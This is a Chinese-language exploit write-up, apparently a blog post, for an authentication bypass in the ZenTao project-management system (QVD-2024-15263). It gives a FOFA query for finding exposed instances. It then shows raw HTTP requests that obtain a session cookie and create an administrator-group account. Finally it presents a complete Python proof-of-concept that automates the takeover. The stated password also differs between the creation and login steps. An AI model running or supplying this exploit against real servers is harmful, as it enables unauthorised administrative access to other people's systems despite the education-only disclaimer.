声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
文章目录
- 漏洞描述
- 漏洞复现
- 测试工具
漏洞描述
禅道(Zentao)是一款开源的项目管理和协作软件。禅道项目管理系统中的存在QVD-2024-15263身份认证绕过漏洞。攻击者可利用该漏洞创建任意账号实现未授权登录。
漏洞复现
1)信息收集
fofa:title=“禅道”
2)本地复现
源码下载:https://dl.zentao.net/zentao/18.11/ZenTaoPMS-18.11-php7.0.tar.xz
3)先构造数据包,获取cookie
GET /zentaopms/www/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host:ip
Set-Cookie: zentaosid=c5gfr88h22f4vv73h4d0b453mv;
4)构造数据包,创建账户
POST /zentaopms/www/api.php/v1/users HTTP/1.1
Host:ip
Cookie: zentaosid=c5gfr88h22f4vv73h4d0b453mv; lang=zh-cn; device=desktop; theme=default{"account": "longl", "password": "Qwe123", "realname": "longl", "group":"1"}
"group":"1"
为管理员分组
5)登入账号
账号:longl
密码:Qwest23
成功登入
测试工具
poc
# -*- coding: UTF-8 -*-
# !/usr/bin/pythonimport requests
import re
from bs4 import BeautifulSoupdef getCookie(host):"""通过发送请求获取Set-Cookie头部信息。:param host: 目标主机地址:return: 获取到的Cookie字符串"""# 构造请求URL,需要根据实际路径进行修改url1 = "http://" + host + "/zentaopms/www/"url = url1 + "/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=fkazcfyqgknhqdkbpttl&branch=qkkcluybdvfxqngbemmn"# 设置请求头部信息headers={"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36","Accept-Language":"zh-CN,zh;q=0.9","Host":host}# 发送GET请求并获取响应response = requests.get(url,headers=headers)# 从响应头部获取Set-Cookie值SetCookie = response.headers.get('Set-Cookie')return SetCookiedef addUser(SetCookie,host):"""使用给定的Cookie添加新用户。:param SetCookie: 用于身份验证的Cookie字符串:param host: 目标主机地址:return: 请求的响应对象"""# 构造添加用户的API请求URL,需要根据实际路径进行修改weburl = "http://" + host + "/zentaopms/www/api.php/v1/users"# 设置请求头部信息,包括Cookieheaders = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36","Accept-Language":"zh-CN,zh;q=0.9","Host":host,"cookie":SetCookie}# 设置请求超时时间timeout = 8# 设置待添加用户的参数# 账号、密码、真实姓名、角色、用户组data = {'account': '3213111','password': '123456Qa','realname': '3213111','role': 'top','group': '1'}# 发送POST请求添加用户res = requests.post(weburl,headers=headers,data=data,timeout=timeout)return resdef main():"""主程序入口。"""# 目标Web地址weburl = "192.168.2.8"host = str(weburl)# 获取CookieSetCookie = getCookie(host)# 检查是否成功获取Cookieif SetCookie == None:print("获取Cookie失败,漏洞可能已被修复。\n")else:# 截取前43个字符,因为实际使用的Cookie可能较长,此处只取前缀set_cookies = SetCookie[:43]# 使用Cookie添加用户res1 = addUser(set_cookies,host)# 检查用户添加是否成功if str(res1.status_code) == "400":print("账号可能已存在,请尝试更换用户名。\n")else:print("账号已生成。")if __name__ == '__main__':main()
运行截图
冬天之所以那么冷是为了告诉大家身边人的温暖有多重要。